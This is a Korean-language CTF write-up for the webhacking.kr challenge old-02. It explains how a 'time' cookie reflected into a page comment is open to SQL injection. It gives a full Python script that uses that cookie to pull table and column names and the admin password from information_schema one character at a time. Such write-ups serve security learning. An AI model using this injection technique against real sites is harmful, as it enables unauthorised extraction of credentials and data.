[ webhacking.kr ] old-02
포스트
취소

[ webhacking.kr ] old-02

image-20230628143429121

문제를 들어가보면 위와 같은 문구가 보인다.

문제 분석



image-20230628143613566

소스코드를 확인해보니 현재 시간과 admin.php 페이지에 접속하면 거부할 거라는 주석을 확인할 수 있다.


image-20230628143848658

admin.php에 접속해보면 password를 입력할 수 있다. 따라서 admin페이지의 password를 알아내야 한다.



문제 풀이


처음엔 admin페이지에서 sql injection을 아무런 반응이 없다

따라서 다른 부분에서 취약점을 찾아야한다.


image-20230628153609935

쿠키에 time이 있는데 이 값을 수정해주면 주석에 있던 값이 변하는 것을 확인할 수 있다.


image-20230628153814580

여기에 sql 구문을 입력해보면 올바르게 동작하는 것을 알 수 있다.

따라서 cookie를 이용하여 blind sql injection을 시도하면 password를 획득할 수 있다.



Exploit Code


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests

url = 'https://webhacking.kr/challenge/web-02/'
cookies = {'PHPSESSID':'사용자 세션 값'}

def calculate_time(response):
    val=0
    val+=60*int(response.text[20])
    val+=10*int(response.text[22])
    val+=int(response.text[23])
    return val

def calc_table_len():
    cookies['time'] = '(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)'
    r = requests.get(url=url, cookies=cookies)
    return calculate_time(r)

def find_table_name(table_len):
    name = ''
    for i in range(table_len+1):
        cookies['time'] = f'(select ascii(substr(table_name,{str(i)},1)) from information_schema.tables where table_schema=database() limit 0,1)'
        r = requests.get(url=url, cookies=cookies)
        name += chr(calculate_time(r))
    print(name)
    return name

def find_column_len(table_name):
    cookies['time']= f"(select length(column_name) from information_schema.columns where table_name='{table_name}')"
    response=requests.get(url, cookies=cookies)
    c_name_length=int(calculate_time(response))
    print(c_name_length)
    return c_name_length

def find_column_name(column_len, table_name):
    name = ''
    for i in range(1,column_len+1):
        cookies['time'] = f"(select ascii(substr(column_name,{str(i)},1)) from information_schema.columns where table_name='{table_name}')"
        r = requests.get(url=url, cookies=cookies)
        name += chr(calculate_time(r))
    print(name)
    return name

def find_pw(column_name, table_name):
    pw = ''
    for i in range(1,100):
        cookies['time'] = f"(select ascii(substr({column_name},{str(i)},1)) from {table_name})"
        r = requests.get(url=url, cookies=cookies)
        pw += chr(calculate_time(r))
        print(pw)
    
if __name__ == "__main__":
    table_len = calc_table_len()
    table_name = find_table_name(table_len)
    column_len = find_column_len(table_name)
    column_name = find_column_name(column_len, table_name)
    find_pw(column_name, table_name)


image-20230628154147009

password를 알아내서 adimn페이지에 로그인 하면 문제를 풀 수 있다.